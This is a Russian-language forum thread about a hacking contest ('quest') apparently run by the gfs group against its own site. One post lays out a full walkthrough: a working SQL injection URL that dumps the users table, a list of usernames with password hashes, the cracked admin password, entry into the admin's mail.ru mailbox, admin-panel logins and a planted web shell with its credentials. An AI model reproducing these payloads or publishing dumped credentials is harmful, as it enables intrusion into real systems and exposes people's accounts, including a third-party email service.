![]() |
новый квест -- теперь от gfs
http://www.gfs-competition.net/index.php
|
а где написано что это квест? а какое задание?
|
написано тут http://www.gfs-team.ru/?act=koncurs
и тут http://www.gfs-team.ru/ |
Видимо, вот оно, quest/задание:
_http://www.gfs-competition.net/index.php?act=news&id=(5 :D ... |
ИМХО, странный quest какой-то... Шо за архив, ХЗ... Пока, кроме вот этого:
_http://www.gfs-competition.net/admin/index.php (есть подозрение на "login: FSadmin"), и _http://gfs-konkurs.firstvds.ru/ больше ничего раздобыть не удалось... Либо я с утра туплю, либо... |
http://www.gfs-competition.net/admin/upload/
лолеги. |
Что больше никто ниче не нашол ?
|
С помощьюскули получаем инфуиз БД
http://www.gfs-competition.net/index.php?act=news&id=-1/**/UNION/**/SELECT/**/1,name,pass,e_mail,5/**/from/**/users/**/LIMIT/**/1,1/* FSadmin:a7551578824c35ccd3565fc3459456fb Rash:ee24d27f87948cb213619ad4fddd6819 ravshan22:ee24d27f87948cb213619ad4fddd6819 alex05:e93821493d5341f2644919dff86049e8 daga:68880cf4a81608b3225ed8c79a935dae fargus:ee24d27f87948cb213619ad4fddd6819 oleg:07840410f453190105cd3d00060afef4 Pfilipp:0d8020b23e0b7b208c227288036c125e Dionir:5dbc4c6b18b210b6d0aa7427e7616b34 EDO:68880cf4a81608b3225ed8c79a935dae Jurhen:ee24d27f87948cb213619ad4fddd6819 Sign:ee24d27f87948cb213619ad4fddd6819 StoRM:a2eec1f40c20a34342391785b1c8ca2b kras:07840410f453190105cd3d00060afef4 MirAn:816119b15218af2db213db7be5441d38 Martin:68880cf4a81608b3225ed8c79a935dae ventura:ca211094bc8c3244ce1baa821abc9aec bob:816119b15218af2db213db7be5441d38 Sanek:ee24d27f87948cb213619ad4fddd6819 Админ: FSadmin Брутим, получаем noway1 (спасибо брутеру mildworm =) ) Далее видим инфу по челу: email:fsadmin@mail.ru Заходим на почту с помощью извесных нам данных (СПАСИБО PSalm69 за идею с мэйлом !!!!!) Пробезаем по всем мылам и в черновиках находим заветные Пароль к админке: worker:beman Идем в админку http://www.gfs-competition.net/admin/ и качаем архив, в итоге получаем код, который надо показать админам в доказательство прохождения 546460 Спасибо за внимание =) P.S. забыл про приятнуюмалочь ) шелл http://www.gfs-competition.net/admin/files/phpshell.php root:unicorn |
Цитата:
|
Все прошли )) можете не тупить над этим
|
| Время: 17:33 |